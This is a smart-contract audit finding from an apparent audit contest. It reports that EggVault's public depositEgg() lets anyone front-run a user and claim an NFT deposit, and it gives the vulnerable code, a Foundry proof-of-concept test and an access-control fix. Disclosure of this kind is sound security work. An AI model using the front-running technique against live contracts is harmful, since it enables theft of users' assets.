Eggstravaganza

First Flight #37
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: high
Valid

Front-Running Risk in `depositEgg()` Allows Attacker to Hijack NFT Deposits

Summary

The depositEgg() function in EggVault.sol is publicly accessible and allows any caller to register themselves (or any address) as the depositor of a transferred NFT. If a user transfers an NFT to the vault and then attempts to call depositEgg() instead of using the depositEggToVault function, a front-running attacker can intercept the transaction and register themselves as the depositor, resulting in stolen withdrawal rights.

Vulnerability Details

The vulnerable flow occurs when:

  1. A user approves and transfers their NFT to the vault.

  2. They then call depositEgg(tokenId, user) to register it.

  3. However, depositEgg() is public and does not restrict the caller or depositor address.

  4. An attacker can monitor for NFT transfers and front-run the call to register themselves as the depositor:

function depositEgg(uint256 tokenId, address depositor) public {
require(eggNFT.ownerOf(tokenId) == address(this), "NFT not transferred to vault");
require(!storedEggs[tokenId], "Egg already deposited");
storedEggs[tokenId] = true;
eggDepositors[tokenId] = depositor;
emit EggDeposited(depositor, tokenId);
}

Impact

  • Theft of NFTs: Attacker becomes the recorded depositor and can withdraw the egg.

  • Broken trust in the vault: Users may lose valuable assets through UI interactions or custom scripts.

Tools Used

  • Manual Code Review

  • Foundry Test Suite

PoC

// SPDX-License-Identifier: MIT
pragma solidity 0.8.23;
import "forge-std/Test.sol";
import "../src/EggstravaganzaNFT.sol";
import "../src/EggVault.sol";
import "../src/EggHuntGame.sol";
contract EggGameTest is Test {
EggstravaganzaNFT nft;
EggVault vault;
EggHuntGame game;
address alice;
address attacker;
function setUp() public {
alice = makeAddr("alice");
attacker = makeAddr("attacker");
// Deploy the contracts.
nft = new EggstravaganzaNFT("Eggstravaganza", "EGG");
vault = new EggVault();
game = new EggHuntGame(address(nft), address(vault));
// Set the allowed game contract for minting eggs in the NFT.
nft.setGameContract(address(game));
// Configure the vault with the NFT contract.
vault.setEggNFT(address(nft));
}
/// @notice This test demonstrates a race condition where an attacker front-runs
/// the legitimate user's deposit and registers themselves as the depositor.
function test_attackerClaimsPlayersNFT() public {
// Game mints an NFT to Alice
vm.prank(address(game));
bool success = nft.mintEgg(alice, 1);
assertTrue(success);
assertEq(nft.ownerOf(1), alice);
// Alice approves the vault to transfer her NFT
vm.prank(alice);
nft.approve(address(vault), 1);
// Alice transfers the NFT to the vault
vm.prank(alice);
nft.transferFrom(alice, address(vault), 1);
assertEq(nft.ownerOf(1), address(vault));
// Attacker front-runs the deposit call and claims ownership
vm.prank(attacker);
vault.depositEgg(1, attacker);
assertEq(vault.eggDepositors(1), attacker);
// Alice attempts to deposit, but is blocked because the egg is already marked as deposited
vm.startPrank(alice);
vm.expectRevert("Egg already deposited");
vault.depositEgg(1, alice);
vm.stopPrank();
}
}

Recommendations

Make depositEgg() callable only by a trusted source — e.g., the EggHuntGame contract — by adding an access control check:

address public gameContract;
modifier onlyGame() {
require(msg.sender == gameContract, "Unauthorized caller");
_;
}
- function depositEgg(uint256 tokenId, address depositor) public {
+ function depositEgg(uint256 tokenId, address depositor) public onlyGame {
...
}
Updates

Lead Judging Commences

m3dython Lead Judge 7 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Frontrunning Vulnerability DepositEgg

Front-running depositEgg allows deposit ownership hijacking.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.